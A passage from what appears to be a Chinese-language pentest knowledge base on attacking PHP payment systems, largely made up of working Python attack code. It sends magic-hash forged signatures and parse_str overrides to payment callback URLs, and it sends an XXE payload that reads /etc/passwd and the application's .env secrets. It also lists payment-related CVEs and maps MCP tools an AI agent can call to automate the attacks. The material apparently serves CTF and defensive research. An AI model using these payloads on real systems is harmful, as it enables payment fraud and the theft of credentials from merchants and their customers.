        # 如果支付系统有文件上传 (凭证/截图):
        # 上传 phar://test.jpg → 如果触发了文件操作 → 可能 RCE
        pass

    def check_magic_hashes(self):
        """PHP Magic Hash 专项"""
        results = []
        # POST 到所有可能的回调 URL
        notify_paths = [
            "/notify", "/callback", "/webhook",
            "/pay/notify", "/payment/notify",
            "/api/notify", "/api/callback",
            "/return", "/pay/return",
        ]
        for path in notify_paths:
            for field in ["sign", "signature", "hash", "verify_token"]:
                # 两个 magic hash,== 比较下相等
                r = self.s.post(self.base + path, data={
                    "order_id": "TEST",
                    "trade_status": "TRADE_SUCCESS",
                    "total_amount": "0.01",
                    "notify_id": "TEST_001",
                    field: "0e462097431907509062922748828256",
                })
                if r.status_code == 200 and "fail" not in r.text.lower():
                    results.append((path, field))
                    print(f"[MagicHash] {path} with {field}=magic_hash → OK")
        return results

    def check_parse_str(self):
        """parse_str 变量覆盖"""
        # parse_str 无第二参数时直接把值写到变量
        # 测试: 注入 trade_status=TRADE_SUCCESS
        r = self.s.post(self.base + "/notify", data={
            "trade_status": "TRADE_SUCCESS",
            "out_trade_no": "TEST_ORDER",
            "total_amount": "0.01",
        })
        if r.status_code == 200:
            print(f"[parse_str] POST trade_status → {r.status_code}")

    def check_xml_callback(self):
        """XML 回调 + XXE"""
        xxe_payload = """<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  <!ENTITY xxe2 SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/.env">
]>
<xml>
  <out_trade_no>&xxe;</out_trade_no>
  <trade_status>TRADE_SUCCESS</trade_status>
  <total_amount>0.01</total_amount>
</xml>"""
        notify_paths = ["/notify", "/callback", "/pay/notify", "/wxpay/notify"]
        for path in notify_paths:
            r = self.s.post(self.base + path,
                data=xxe_payload,
                headers={"Content-Type": "application/xml"},
                timeout=10)
            if "root:" in r.text or "DB_" in r.text:
                print(f"[!] XXE success at {path}: {r.text[:200]}")
            elif r.status_code == 200:
                print(f"[XML] {path} → {r.status_code} | {r.text[:200]}")

10. PHP 支付 CVEs 速查 ​

python
# PHP 支付相关已知 CVE (持续更新)
PHP_PAYMENT_CVES = {
    "woocommerce": [
        "CVE-2023-34000 — WooCommerce Stripe Gateway 未授权订单访问",
        "CVE-2023-28121 — WooCommerce Payments 权限提升 (Admin)",
        "CVE-2022-45071 — WooCommerce Subscriptions 越权取消",
    ],
    "magento": [
        "CVE-2022-24086 — Magento RCE (pre-auth)",
        "CVE-2022-24087 — Magento RCE via payment info",
        "PRODSECBUG-2198 — Magento payment method RCE",
    ],
    "laravel": [
        "CVE-2021-3129 — Laravel Ignition RCE (APP_DEBUG=true)",
        "CVE-2021-43617 — Laravel file upload bypass",
    ],
    "prestashop": [
        "CVE-2022-31101 — PrestaShop payment module RCE",
        "CVE-2022-36408 — PrestaShop SQLi in payment",
    ],
    "php_itself": [
        "PHP 5.3.9 — parse_str memory corruption",
        "PHP 7.x — unserialize() use-after-free",
        "PHP 8.1 — FPM local root (CVE-2021-21703)",
    ],
}

攻击链总图 ​

mermaid
graph TD
    TJ["Type Juggling<br/>==绕过/magic hash/in_array"] --> BYPASS["支付绕过"]
    FUNC["函数绕过<br/>strcmp数组/md5数组/extract"] --> BYPASS
    DESER["PHP反序列化<br/>unserialize/PHAR/gadget chain"] --> RCE["RCE"]
    SESSION["Session攻击<br/>固定/反序列化/Handler"] --> PRIV["特权提升"]
    FRAMEWORK["框架攻击<br/>Laravel Cashier/TP/WooCommerce"] --> BYPASS
    LEAK["信息泄露<br/>phpinfo/env/log/debug"] --> KEY["获取密钥"]

    BYPASS --> FLAG["🏴 Flag"]
    RCE --> FLAG
    PRIV --> FLAG
    KEY --> FLAG

MCP 工具映射 ​

AI Agent 可调用以下 MCP 工具自动完成或加速上述攻击步骤:

攻击步骤MCP 工具说明
PHP 支付 API 探测http_probeHTTP GET 探测 PHP 支付接口端点
知识检索kb_router按 PHP 支付漏洞信号搜索知识库

Evidence ​

  • php_type_matrix.csv: payload、intval/floatval/is_numeric/==/=== 预期、接口响应、订单状态。
  • notify_sign_cases.json: magic hash、空签名、重复参数、$_GET/$_POST 合并顺序、验签结果。
  • extract_override.json: extract($_POST)、变量覆盖字段、订单/支付状态变化。
  • 成功样本: magic hash 通过松比较、重复参数改写金额、变量覆盖使订单 paid 或权益到账。
  • 失败样本: 严格比较、金额从订单表重读、签名覆盖全部业务字段、回调幂等。

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用